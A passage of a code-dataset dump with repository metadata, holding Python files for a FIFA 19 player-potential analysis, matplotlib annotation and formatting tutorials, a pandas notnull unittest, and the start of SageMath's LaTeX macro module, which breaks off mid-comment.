axis_1.twinx()\nplt.bar(age, age_count_list, label='Age Count')\naxis_2.legend(loc=2)\naxis_2.set_ylabel('Age Count')\nplt.show()\n\n\n# In figure above, we can see that most of the players are between 20-26 years age. The number of player's start decreases after 26 years age and much more decreases after 30. The main reasons could be that, many young player didn't get enough opportunities to prove themselves as a football player.\n# \n# In ideal scenario, When a football player reaches their age of 20 years, they must have gain enough experience and reaches peak of their rating. The golden era for most of the football player starts 20 years of there age and ends when age reaches 35 years. Most of the football playes physical body condition drops quickly after their 35 years of age and rating quite low.\n# \n# But there are also set of player's rating can remain quite high with age over 37, 38 years.\n\n# ### Q3. Which player skils set influence potential/wage? Can we predict player/player's potential based on his skills set?\n\n# In[31]:\n\n\n# Drop unused columns to answers Question-3\ncolumns_to_drop_q3 = ['Name', 'Nationality', 'Club']\nfifa19_player_data_frame.drop(columns_to_drop_q3, axis=1, inplace=True)\n\n\n# In[32]:\n\n\n# Drop players whose skill set is missing.\nfifa19_player_data_frame.dropna(axis=0, how='any', inplace=True)\n\n\n# In[33]:\n\n\n# Split Work Rate is in format of attack work rate and defence work rate\n# Create two new columns here.\nfifa19_player_data_frame['Work Rate Attack'] = fifa19_player_data_frame['Work Rate'].map(lambda x: x.split('/')[0])\nfifa19_player_data_frame['Work Rate Defence'] = fifa19_player_data_frame['Work Rate'].map(lambda x: x.split('/')[1])\n\n\n# In[34]:\n\n\n#Drop origin Work Rate column\nfifa19_player_data_frame.drop('Work Rate', axis=1, inplace=True)\n\n\n# In[35]:\n\n\nfifa19_player_data_frame.head()\n\n\n# In[36]:\n\n\n# One Hot Encoding for Position, Work Rate Attack and Work Rate Defence\none_hot_columns = ['Position', 'Work Rate Attack', 'Work Rate Defence']\nfifa19_player_data_frame = pd.get_dummies(fifa19_player_data_frame, columns=one_hot_columns, prefix = one_hot_columns)\n\n\n# In[37]:\n\n\nfifa19_player_data_frame.shape\n\n\n# # 5. Train model and Performance Evaluation\n\n# In[38]:\n\n\ny = fifa19_player_data_frame['Potential']\nX = fifa19_player_data_frame.drop(['Value_M', 'Wage_K', 'Potential', 'Overall'], axis=1)\n\n\n# In[39]:\n\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=.3, random_state=42)\n\n\n# In[40]:\n\n\nforest_regressor = RandomForestRegressor(n_estimators=500)\nforest_regressor.fit(X_train, y_train)\ny_test_preds = forest_regressor.predict(X_test)\nprint(r2_score(y_test, y_test_preds))\nprint(mean_squared_error(y_test, y_test_preds))\n\n\n# In[41]:\n\n\ncoefs_df = pd.DataFrame()\n\ncoefs_df['Features'] = X_train.columns\ncoefs_df['Coefs'] = forest_regressor.feature_importances_\ncoefs_df.sort_values('Coefs', ascending=False).head(10)\n\n\n# As a football fan we know, ball control, reactions, and age are the main three features that describe player's potential and performance. In this analysis our perception is also same.\n# \n# Players with excellent ball control and fast reactions tends to give us an outstanding performance in football match.\n\n# In[42]:\n\n\ncoefs_df.set_index('Features', inplace=True)\ncoefs_df.sort_values('Coefs', ascending=False).head(5).plot(kind='bar', color='Blue')\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "6f6a68f51a29bcc16089ce1e8c3f58a45e9945b8", "size": 10386, "ext": "py", "lang": "Python", "max_stars_repo_path": "blog_post.py", "max_stars_repo_name": "sidheswar12/Data-Scientist-Blog-Post", "max_stars_repo_head_hexsha": "365d8a385abc808fce957938b506589bbaf6f86e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2019-04-15T22:25:10.000Z", "max_stars_repo_stars_event_max_datetime": "2020-04-15T21:39:33.000Z", "max_issues_repo_path": "blog_post.py", "max_issues_repo_name": "sidheswar12/Data-Scientist-Blog-Post", "max_issues_repo_head_hexsha": "365d8a385abc808fce957938b506589bbaf6f86e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "blog_post.py", "max_forks_repo_name": "sidheswar12/Data-Scientist-Blog-Post", "max_forks_repo_head_hexsha": "365d8a385abc808fce957938b506589bbaf6f86e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.6307692308, "max_line_length": 374, "alphanum_fraction": 0.7350279222, "include": true, "reason": "import numpy", "num_tokens": 2655, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.1480471923932738, "lm_q1q2_score": 0.07286707162274338}}
{"text": "\"\"\"\nSome examples of how to annotate points in figures.  You specify an\nannotation point xy=(x,y) and a text point xytext=(x,y) for the\nannotated points and text location, respectively.  Optionally, you can\nspecify the coordinate system of xy and xytext with one of the\nfollowing strings for xycoords and textcoords (default is 'data')\n\n\n  'figure points'   : points from the lower left corner of the figure\n  'figure pixels'   : pixels from the lower left corner of the figure\n  'figure fraction' : 0,0 is lower left of figure and 1,1 is upper, right\n  'axes points'     : points from lower left corner of axes\n  'axes pixels'     : pixels from lower left corner of axes\n  'axes fraction'   : 0,1 is lower left of axes and 1,1 is upper right\n  'offset points'   : Specify an offset (in points) from the xy value\n  'data'            : use the axes data coordinate system\n\nOptionally, you can specify arrow properties which draws and arrow\nfrom the text to the annotated point by giving a dictionary of arrow\nproperties\n\nValid keys are\n\n          width : the width of the arrow in points\n          frac  : the fraction of the arrow length occupied by the head\n          headwidth : the width of the base of the arrow head in points\n          shrink : move the tip and base some percent away from the\n                   annotated point and text\n          any key for matplotlib.patches.polygon  (eg facecolor)\n\nFor physical coordinate systems (points or pixels) the origin is the\n(bottom, left) of the figure or axes.  If the value is negative,\nhowever, the origin is from the (right, top) of the figure or axes,\nanalogous to negative indexing of sequences.\n\"\"\"\n\n\nfrom matplotlib.pyplot import figure, show\nfrom matplotlib.patches import Ellipse\nimport numpy as np\n\n\nif 1:\n    # if only one location is given, the text and xypoint being\n    # annotated are assumed to be the same\n    fig = figure()\n    ax = fig.add_subplot(111, autoscale_on=False, xlim=(-1,5), ylim=(-3,5))\n\n    t = np.arange(0.0, 5.0, 0.01)\n    s = np.cos(2*np.pi*t)\n    line, = ax.plot(t, s, lw=3, color='purple')\n\n    ax.annotate('axes center', xy=(.5, .5),  xycoords='axes fraction',\n                horizontalalignment='center', verticalalignment='center')\n\n    ax.annotate('pixels', xy=(20, 20),  xycoords='figure pixels')\n\n    ax.annotate('points', xy=(100, 300),  xycoords='figure points')\n\n    ax.annotate('offset', xy=(1, 1),  xycoords='data',\n                xytext=(-15, 10), textcoords='offset points',\n                arrowprops=dict(facecolor='black', shrink=0.05),\n                horizontalalignment='right', verticalalignment='bottom',\n                )\n\n    ax.annotate('local max', xy=(3, 1),  xycoords='data',\n                xytext=(0.8, 0.95), textcoords='axes fraction',\n                arrowprops=dict(facecolor='black', shrink=0.05),\n                horizontalalignment='right', verticalalignment='top',\n                )\n\n    ax.annotate('a fractional title', xy=(.025, .975),\n                xycoords='figure fraction',\n                horizontalalignment='left', verticalalignment='top',\n                fontsize=20)\n\n    # use negative points or pixels to specify from right, top -10, 10\n    # is 10 points to the left of the right side of the axes and 10\n    # points above the bottom\n    ax.annotate('bottom right (points)', xy=(-10, 10),\n                xycoords='axes points',\n                horizontalalignment='right', verticalalignment='bottom',\n                fontsize=20)\n\n\nif 1:\n    # you can specify the xypoint and the xytext in different\n    # positions and coordinate systems, and optionally turn on a\n    # connecting line and mark the point with a marker.  Annotations\n    # work on polar axes too.  In the example below, the xy point is\n    # in native coordinates (xycoords defaults to 'data').  For a\n    # polar axes, this is in (theta, radius) space.  The text in this\n    # example is placed in the fractional figure coordinate system.\n    # Text keyword args like horizontal and vertical alignment are\n    # respected\n    fig = figure()\n    ax = fig.add_subplot(111, polar=True)\n    r = np.arange(0,1,0.001)\n    theta = 2*2*np.pi*r\n    line, = ax.plot(theta, r, color='#ee8d18', lw=3)\n\n    ind = 800\n    thisr, thistheta = r[ind], theta[ind]\n    ax.plot([thistheta], [thisr], 'o')\n    ax.annotate('a polar annotation',\n                xy=(thistheta, thisr),  # theta, radius\n                xytext=(0.05, 0.05),    # fraction, fraction\n                textcoords='figure fraction',\n                arrowprops=dict(facecolor='black', shrink=0.05),\n                horizontalalignment='left',\n                verticalalignment='bottom',\n                )\n\n\nif 1:\n    # You can also use polar notation on a cartesian axes.  Here the\n    # native coordinate system ('data') is cartesian, so you need to\n    # specify the xycoords and textcoords as 'polar' if you want to\n    # use (theta, radius)\n\n    el = Ellipse((0,0), 10, 20, facecolor='r', alpha=0.5)\n\n    fig = figure()\n    ax = fig.add_subplot(111, aspect='equal')\n    ax.add_artist(el)\n    el.set_clip_box(ax.bbox)\n    ax.annotate('the top',\n                xy=(np.pi/2., 10.),      # theta, radius\n                xytext=(np.pi/3, 20.),   # theta, radius\n                xycoords='polar',\n                textcoords='polar',\n                arrowprops=dict(facecolor='black', shrink=0.05),\n                horizontalalignment='left',\n                verticalalignment='bottom',\n                clip_on=True, # clip to the axes bounding box\n     )\n\n    ax.set_xlim(-20, 20)\n    ax.set_ylim(-20, 20)\n\nshow()\n", "meta": {"hexsha": "913b3a0d9825457b68ea76682dd5a952968a7355", "size": 5582, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/pylab_examples/annotation_demo.py", "max_stars_repo_name": "pierre-haessig/matplotlib", "max_stars_repo_head_hexsha": "0d945044ca3fbf98cad55912584ef80911f330c6", "max_stars_repo_licenses": ["MIT", "PSF-2.0", "BSD-3-Clause"], "max_stars_count": 16, "max_stars_repo_stars_event_min_datetime": "2016-06-14T19:45:35.000Z", "max_stars_repo_stars_event_max_datetime": "2020-11-30T19:02:58.000Z", "max_issues_repo_path": "examples/pylab_examples/annotation_demo.py", "max_issues_repo_name": "pierre-haessig/matplotlib", "max_issues_repo_head_hexsha": "0d945044ca3fbf98cad55912584ef80911f330c6", "max_issues_repo_licenses": ["MIT", "PSF-2.0", "BSD-3-Clause"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2016-06-15T07:10:27.000Z", "max_issues_repo_issues_event_max_datetime": "2016-06-15T07:10:27.000Z", "max_forks_repo_path": "examples/pylab_examples/annotation_demo.py", "max_forks_repo_name": "pierre-haessig/matplotlib", "max_forks_repo_head_hexsha": "0d945044ca3fbf98cad55912584ef80911f330c6", "max_forks_repo_licenses": ["MIT", "PSF-2.0", "BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.3098591549, "max_line_length": 75, "alphanum_fraction": 0.6297026155, "include": true, "reason": "import numpy", "num_tokens": 1410, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.14804719051380197, "lm_q1q2_score": 0.07286707069768963}}
{"text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jul 13 11:07:00 2021\r\n\r\n@author: Joanna Brown, Github : jbrown888\r\n\r\nBasics of Matplotlib Graph formatting settings\r\n\r\nBy no means is this a definitive guide, or the best way of doing things, and it's definitely not complete. But hopefully it gives some basic ideas for formatting, and serves as a starting point for plotting.\r\n\r\nExtra tips: stackoverflow and the matplotlib and numpy websites are your friends!\r\n90% of the time your question has already been asked by somebody else on stack overflow, and the documentation for the python websites is actually quite good.\r\n\r\nhttps://matplotlib.org/\r\nhttps://numpy.org/\r\n\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport matplotlib as mpl\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.cm as cm #colormap library\r\nfrom scipy.stats import norm\r\n\r\n#%% axes  - the OOP way to make plots\r\n\r\nfig, ax = plt.subplots() # creates a figure (fig) and axes (ax) object. \r\n\"\"\"\r\nBy creating objects, you can access and alter the properties more easily than if you use plt.plot(...), but it is a little difficult to wrap your head around at first. \r\nIt saves massive amounts of time, as you can create default settings for these objects, and apply functions to them.\r\nYou can do this because Python is an object oriented programming language, and has objects and classes - this is the fun bit! You can even create your own classes.\r\n\r\n\r\nAside: confusingly, the axes object is not actually the axes of the graph - it's kind of a canvas on which you add stuff like plot lines and the x and y axis.\r\n\"\"\"\r\n\r\n\r\ndef standard_axes_settings(ax):\r\n        \"\"\"\r\n        A function to apply standard settings to a graph for label sizes, gridlines, frame etc.\r\n        \r\n        input argument ax is an axes object of matplotlib\r\n        \r\n        \"\"\"\r\n        ax.set_frame_on # adds frame around plot\r\n        ax.grid(b=True, which = 'major', axis = 'both', c = 'grey', ls='--', lw = 1) #adds major grid lines\r\n        # ax.grid(b=True, which='minor', axis='both', c='darkgrey', ls = '--', linewidth =2) # adds minor grid lines\r\n        ax.tick_params(axis = 'both', which = 'major', direction ='in', labelsize = 22) # adds major ticks (the little marks on axes like on a ruler) \r\n        ax.tick_params(axis ='both', which = 'minor', direction ='in') # adds minor ticks\r\n        ax.xaxis.label.set_size(28) # sets size of axis labels (the numbers on the axis)\r\n        ax.yaxis.label.set_size(28)\r\n        # ax.minorticks_on() # turns on minor ticks\r\n        ax.yaxis.get_offset_text().set_fontsize(20) # sets fontsize of the axis label i.e. the \"Time [s]\" bit\r\n        ax.xaxis.get_offset_text().set_fontsize(20)\r\n        ax.ticklabel_format(axis = 'x', style = 'sci', scilimits = (-3,3), useOffset = True) # formats the numbering of the axes if you have really big or really small numbers - if >1e3 or <1e-3, will use scientific notation automatically\r\n        ax.ticklabel_format(axis = 'y', style = 'sci', scilimits = (-3,3), useOffset=True)\r\n\r\n# these settings can be copy and pasted out of the function and applied individually to each graph - but putting it in a function like this saves you having to rewrite it all everytime you make a new graph\r\n\r\nstandard_axes_settings(ax) # applies formatting to the graph (axes object)\r\n\r\nred = 'indianred' # a nice red\r\nblue = 'royalblue' # a nice blue\r\n\r\n\r\n\r\nplot_arguments = {'marker':'o', #marker style\r\n                  'lw':3, #line width\r\n                  'ms':10, #marker size\r\n                  'ls':'--', #line style\r\n                  'c': 'k', #line color\r\n                  'mew':2, #marker edge width\r\n                  'mec': 'red', #marker edge color\r\n                  'mfc':'None',#marker face color\r\n                  } # this is a dictionary of arguments to set the style of the line/points you draw\r\n\r\nplot_arguments_y = {'marker':'x', #marker style\r\n                  'lw':3, #line width\r\n                  'ms':7, #marker size\r\n                  'ls':':', #line style - none gives no line\r\n                  'c': 'darkslategray', #line color\r\n                  'mew':2, #marker edge width\r\n                  'mec': 'blue', #marker edge color\r\n                  'mfc':'blue',#marker face color\r\n                  } # same thing but for the y data, to distinguish from the x data\r\n\r\n#Create some data\r\ndef example_function(t):\r\n    return (t-6.5)**2\r\n\r\nt = np.linspace(0, 4*np.pi, 25) # generates evenly distributed points\r\ny = 30*np.sin(t)\r\nx = example_function(t)\r\n\r\nax.plot(t, x, **plot_arguments, label = 'x data') # plot x data\r\nax.plot(t, y, **plot_arguments_y, label = 'y data') # plot y data\r\n\r\n\"\"\"\r\nthe **plot_arguments adds all the items in the dictionary plot_arguments into the plot as if you had written them directly as ax.plot(t, x, lw = 3, marker = 'o',... etc). Just makes the code a little bit neater\r\n\"\"\"\r\n\r\n# Set x and y axis labels\r\nax.set_xlabel('Time [s]')\r\nax.set_ylabel('Dependent Variable')\r\n\r\n\r\n\r\n### LEGENDS ###\r\n\"\"\"\r\nThere are a few ways of creating legends. Uncomment one to use it. Notice both produce the same result!\r\n\"\"\"\r\n\r\n\r\n# Method A\r\n\"\"\"\r\nSince I labelled my data when I plotted it (label = 'x data' etc in the ax.plot() line), I can simply call legend directly and Python will automatically create the legend with the correct key. Nice! \r\n\"\"\"\r\nleg = ax.legend(fontsize = 26, loc='best', markerfirst = True, frameon = True) # creates a legend for the axes object ax that I created earlier\r\n\r\n\r\n# Method B\r\n\"\"\"\r\nIf displaying lots of data on one plot, it may be more useful to customise the legend and create your own entries\r\n\"\"\"\r\n\r\n# handles = [mpl.lines.Line2D([], [], **plot_arguments), mpl.lines.Line2D([], [], **plot_arguments_y)] # creates the symbols for the legend\r\n# labels = ['x data', 'y data'] #labels for legend\r\n# leg = ax.legend(handles, labels, fontsize = 26, loc='best', markerfirst = True, frameon = True) # creates custom legend\r\n\r\n\r\n\r\n#general formatting of legend for either method\r\nleg.get_frame().set_edgecolor('k')\r\nleg.get_frame().set_facecolor('w')\r\n\r\nplt.show()\r\n\r\n\r\n#%% COLOR RANGE EXAMPLE\r\nfig, ax = plt.subplots()\r\nstandard_axes_settings(ax)\r\n\r\nt = np.linspace(-5, 5, 100)\r\nmean = 0.0\r\nZ = np.linspace(0.5, 5, 6) # values for standard deviation (sigma)\r\n\r\ncs = [cm.magma(i/len(Z), 1) for i in range(len(Z))] # creates list of colours according to the colour map magma, evenly distributed over the range of Z. Colour maps available at https://matplotlib.org/stable/tutorials/colors/colormaps.html\r\n\r\n# here for the labels I use f-string formatting. This was new with Python 3 and I much prefer it the Python 2 method. Google  \r\n\r\nfor i, stddev in enumerate(Z): # iterate over the different values of standard deviation\r\n    x = norm.pdf(t, loc = mean, scale = stddev)\r\n    ax.plot(t, x, marker = 'None', ls = '-', lw = 2.5, color = cs[i], label = fr'$\\sigma$ = {stddev:.1f}')\r\n    \r\n    \r\nax.set_xlabel(r'Distance [$\\mu$m]')\r\nax.set_ylabel('Intensity')\r\n\r\nleg = ax.legend(fontsize = 26, loc='best', markerfirst = True, frameon = True) # creates a legend for the axes object ax that I created earlier\r\n\r\nleg.get_frame().set_edgecolor('k')\r\nleg.get_frame().set_facecolor('w')\r\n\r\n\r\n#%% 4 plots together\r\nt = np.linspace(-5, 5, 100)\r\nx = np.cos(t)\r\ny = np.sin(t)\r\nz = t**3\r\nv = t*t\r\nq = 3*t**4 -t**3 +2\r\n\r\nfig, AXES = plt.subplots(1, 2, sharex = False, sharey = False, num =3) # create 2 subplots - allows shared axes like this\r\nfig.frameon = False\r\n[AXL, AXR] = AXES # left and right subplot\r\nax1 = fig.add_subplot(221)\r\nax2 = fig.add_subplot(223)\r\nax3 = fig.add_subplot(222)\r\nax4 = fig.add_subplot(224)\r\naxes = [ax1, ax2, ax3, ax4]\r\nfig.subplots_adjust(wspace =0.3, hspace=0.3) # adjust spacing\r\n\r\nfor AX in AXES:\r\n    AX.spines['top'].set_color('None') # remove visible frame from the the left and right underlying subplots\r\n    AX.spines['bottom'].set_color('None')\r\n    AX.spines['left'].set_color('None')\r\n    AX.spines['right'].set_color('None')\r\n    AX.set_facecolor('None')\r\n    # AX.set_xticklabels([])\r\n    # AX.set_yticklabels([])\r\n    AX.tick_params(labelcolor='None', top='off', bottom='off', left='off', right='off')\r\n    \r\nfor ax in axes: #format the 4 axe\r\n    standard_axes_settings(ax)\r\n\r\naxes[2].plot(t, x, '-', label='x(t)',linestyle= '-', color = red)\r\naxes[2].plot(t, y, '-', label='y(t)',linestyle= '-', color = blue)\r\n# axes[2].set_xlabel('t [s]')\r\naxes[2].set_ylabel('Position [m]')\r\n\r\naxes[3].plot(t, z, '-', label='z(t)', linestyle= '-', color = 'purple')\r\naxes[3].set_xlabel('t [s]')\r\naxes[3].set_ylabel(r'$z$ [${ms}^{-1}$]')\r\n\r\naxes[1].plot(t, v, '-', label=r'$v$(t)',linestyle= '-', color = 'orange')\r\naxes[1].set_xlabel('t [s]')\r\naxes[1].set_ylabel(r'$v$ [${ms}^{-1}$]')\r\n\r\naxes[0].plot(t, q, '-', label=r'$v$(t)',linestyle= '-', color = 'k')\r\n# axes[0].set_xlabel('t [s]')\r\naxes[0].set_ylabel(r'$q$ [${s}^{-1}$]')\r\n\r\nhandles = [mpl.lines.Line2D([0], [0], ls = '-', color = red), mpl.lines.Line2D([0], [0], ls = '-', color = blue)]\r\nleg1 = axes[2].legend(handles = handles, labels = ['x', 'y'], fontsize = 20, loc='best', markerfirst = False, frameon = True)\r\nleg1.get_frame().set_edgecolor('k')\r\nleg1.get_frame().set_facecolor('w')\r\n\r\n#add annotating text\r\nbbox_props = dict(boxstyle = \"square,pad=0.2\", fc = \"w\", ec =\"k\", lw = 1)\r\naxes[0].text(-1, 1.25e3, 'Some useful text', fontsize = 24, bbox = bbox_props)\r\n\r\nplt.show()\r\n\r\n#%% f-string and latex\r\n\r\n#These expressions won't work printing in e.g. spyder console, but will work in jupyter notebooks or in matplotlib.\r\n#Using LaTeX with strings:\r\nprint(r'$\\theta$')\r\n\r\ntheta = 35.4282711\r\n#Using LaTeX and f-string formatting\r\nprint(fr'$\\theta$ = {theta:.2f}')\r\n\r\n#Using f-string and latex together but you need {} in Latex:\r\nprint(fr'$\\Delta_{{\\mu}}$ = {np.pi:.2f}')\r\n", "meta": {"hexsha": "0d81cb752e912bacb3eed773963fbb6fb9f38fd6", "size": 9748, "ext": "py", "lang": "Python", "max_stars_repo_path": "graph_formatting.py", "max_stars_repo_name": "jbrown888/Python-matplotlib-basics", "max_stars_repo_head_hexsha": "ce8e41805ac96a59c98369bc86c2b8468b0b2123", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "graph_formatting.py", "max_issues_repo_name": "jbrown888/Python-matplotlib-basics", "max_issues_repo_head_hexsha": "ce8e41805ac96a59c98369bc86c2b8468b0b2123", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "graph_formatting.py", "max_forks_repo_name": "jbrown888/Python-matplotlib-basics", "max_forks_repo_head_hexsha": "ce8e41805ac96a59c98369bc86c2b8468b0b2123", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 41.3050847458, "max_line_length": 240, "alphanum_fraction": 0.6442347148, "include": true, "reason": "import numpy,from scipy", "num_tokens": 2621, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.30074556640652345, "lm_q2_score": 0.24220562325537978, "lm_q1q2_score": 0.07284226735278422}}
{"text": "import pandas as pd\r\nimport numpy as np\r\nimport unittest\r\n\r\nclass Mytest(unittest.TestCase):\r\n    '''\r\n    checks array o scalar values for not missing values and returns boolean\r\n    '''\r\n    def setUp(self):\r\n        self.str='Hira'\r\n        self.testNone=None\r\n        self.testNan=' '\r\n        self.testarray=[1,2,3]\r\n        self.test1=[None,6,'h']\r\n\r\n    def test_notnull(self):\r\n        self.assertEqual(pd.notnull(self.str),True)\r\n        self.assertEqual(pd.notnull(self.testNone),False)\r\n        self.assertEqual(pd.notnull(self.testNan),True)\r\n        self.assertEqual(pd.notnull(self.testarray[2]),True)\r\n        self.assertEqual(pd.notnull(self.testarray).all(), (True))\r\n        self.assertEqual(pd.notnull(self.test1).all(), (False))\r\n\r\nif __name__  == '__main__':\r\n    unittest.main()\r\n", "meta": {"hexsha": "44420fe0305c313aab0c7836605e32bdeb64bd79", "size": 802, "ext": "py", "lang": "Python", "max_stars_repo_path": "Test_notnull.py", "max_stars_repo_name": "soothingjennyg/pandasTestingProject", "max_stars_repo_head_hexsha": "c1bf9ec30723316c992f57dd9e2c5e2215dbe595", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Test_notnull.py", "max_issues_repo_name": "soothingjennyg/pandasTestingProject", "max_issues_repo_head_hexsha": "c1bf9ec30723316c992f57dd9e2c5e2215dbe595", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Test_notnull.py", "max_forks_repo_name": "soothingjennyg/pandasTestingProject", "max_forks_repo_head_hexsha": "c1bf9ec30723316c992f57dd9e2c5e2215dbe595", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-12-08T20:59:09.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-08T20:59:09.000Z", "avg_line_length": 30.8461538462, "max_line_length": 76, "alphanum_fraction": 0.6284289277, "include": true, "reason": "import numpy", "num_tokens": 184, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.1540575685174147, "lm_q1q2_score": 0.07282046708650212}}
{"text": "r\"\"\"\nLaTeX macros\n\nAUTHORS:\n\n- John H. Palmieri (2009-03)\n\nThe code here sets up LaTeX macro definitions for use in the\ndocumentation. To add a macro, modify the list ``macros``, near the\nend of this file, and then run 'sage -b'. The entries in this list are\nused to produce ``sage_latex_macros``, a list of strings of the form\n'\\\\newcommand...', and ``sage_mathjax_macros``, a list of strings\nsuitable for parsing by MathJax.  The LaTeX macros are produced using\nthe ``_latex_`` method for each Sage object listed in ``macros``, and\nthe MathJax macros are produced from the LaTeX macros.  The list of\nLaTeX macros is used in the file\n``sage_docbuild.conf`` to add to the preambles of\nboth the LaTeX file used to build the PDF version of the documentation\nand the LaTeX file used to build the HTML version.\n\nAny macro defined here may be used in docstrings or in the tutorial\n(or other pieces of documentation).  In a docstring, for example,\n\"\\ZZ\" in backquotes (demarking math mode) will appear as \"ZZ\" in\ninteractive help, but will be typeset as \"\\\\Bold{Z}\" in the\nreference manual.\n\nMore details on the list ``macros``: the entries are lists or tuples\nof the form ``[name]`` or ``[name, arguments]``, where ``name`` is a\nstring and ``arguments`` consists of valid arguments for the Sage\nobject named ``name``.  For example, ``[\"ZZ\"]`` and ``[\"GF\", 2]``\nproduce the LaTeX macros '\\\\newcommand{\\\\ZZ}{\\\\Bold{Z}}' and\n'\\\\newcommand{\\\\GF}[1]{\\\\Bold{F}_{#1}}', respectively.  (For the\nsecond of these, ``latex(GF(2))`` is called and the string '2' gets\nreplaced by '#1', so ``[\"GF\", 17]`` would have worked just as well.\n``[\"GF\", p]`` would have raised an error, though, because ``p`` is not\ndefined, and ``[\"GF\", 4]`` would have raised an error, because to\ndefine the field with four elements in Sage, you also need to specify\nthe name of a generator.)\n\nTo see evidence of the results of the code here, run ``sage --docbuild\ntutorial latex`` (for example), and look at the resulting LaTeX file in\n``SAGE_DOC/latex/en/tutorial/``.  The preamble should\ncontain '\\newcommand' lines for each of the entries in ``macros``.\n\"\"\"\n\n\ndef produce_latex_macro(name, *sample_args):\n    r\"\"\"\n    Produce a string defining a LaTeX macro.\n\n    INPUT:\n\n    -  ``name`` -- name of macro to be defined, also name of corresponding Sage object\n\n    -  ``sample_args`` -- (optional) sample arguments for this Sage object\n\n    EXAMPLES::\n\n        sage: from sage.misc.latex_macros import produce_latex_macro\n        sage: produce_latex_macro('ZZ')\n        '\\\\newcommand{\\\\ZZ}{\\\\Bold{Z}}'\n\n    If the Sage object takes arguments, then the LaTeX macro will\n    accept arguments as well. You must pass valid arguments, which\n    will then be converted to #1, #2, etc. in the macro\n    definition. The following allows the use of \"\\GF{p^n}\", for\n    example::\n\n         sage: produce_latex_macro('GF', 37)\n         '\\\\newcommand{\\\\GF}[1]{\\\\Bold{F}_{#1}}'\n\n    If the Sage object is not in the global name space, describe it\n    like so::\n\n         sage: produce_latex_macro('sage.rings.finite_rings.finite_field_constructor.FiniteField', 3)\n         '\\\\newcommand{\\\\FiniteField}[1]{\\\\Bold{F}_{#1}}'\n    \"\"\"\n    from sage.misc.latex import LatexCall  # type: ignore\n    # this import is used inside a string below\n    names_split = name.rsplit('.', 1)\n    if len(names_split) == 1:\n        module = 'sage.all'\n        real_name = names_split[0]\n    else:\n        module, real_name = names_split\n    newcommand = '\\\\newcommand{\\\\' + real_name + '}'\n    count = 0\n    args = \"(\"\n    for x in sample_args:\n        count += 1\n        args += str(x) + ','\n    args += ')'\n    exec('from ' + module + ' import ' + real_name)\n    if count:\n        defn = '[' + str(count) + ']{'\n        defn += eval('str(LatexCall()(' + real_name + args + '))') + '}'\n    else:\n        defn = '{' + eval('str(LatexCall()(' + real_name + '))') + '}'\n    count = 0\n    for x in sample_args:\n        count += 1\n        defn = defn.replace(str(x), \"#\" + str(count))\n    return newcommand + defn\n\n\ndef convert_latex_macro_to_mathjax(macro):\n    r\"\"\"\n    This converts a LaTeX macro definition (\\newcommand...) to a\n    MathJax macro definition (MathJax.Macro...).\n\n    INPUT:\n\n    -  ``macro`` -- LaTeX macro definition\n\n    See the web page\n    https://docs.mathjax.org/en/latest/input/tex/macros.html for a\n    description of the format for MathJax macros.\n\n    EXAMPLES::\n\n        sage: from sage.misc.latex_macros import convert_latex_macro_to_mathjax\n        sage: convert_latex_macro_to_mathjax('\\\\newcommand{\\\\ZZ}{\\\\Bold{Z}}')\n        ('ZZ', '\\\\Bold{Z}')\n        sage: convert_latex_macro_to_mathjax('\\\\newcommand{\\\\GF}[1]{\\\\Bold{F}_{#1}}')\n        ('GF', ['\\\\Bold{F}_{#1}', 1])\n    \"\"\"\n    left_bracket = macro.find('[')\n    right_bracket = macro.find('[')\n    if left_bracket >= 0:\n        right_bracket = macro.find(']')\n        num_args = int(macro[left_bracket + 1 : right_bracket])\n    else:\n        num_args = 0\n    start_name = macro.find('{') + 1  # add one to go past the backslash\n    end_name = macro.find('}')\n    name = macro[start_name + 1 : end_name]\n    start_defn = macro.find('{', end_name)\n    end_defn = macro.rfind('}')\n    defn = macro[start_defn + 1 : end_defn]\n    if num_args == 0:\n        return name, defn\n    else:\n        return name, [defn, num_args]\n\n\n# To add a new macro for use in the Sage documentation, add a list or\n# tuple to the following list.  Each list (or tuple) should have the\n# form [name, arguments], which will be passed to the function\n# produce_latex_macro: see that for more documentation.\n#\n# To see the results of this, run 'sage --docbuild 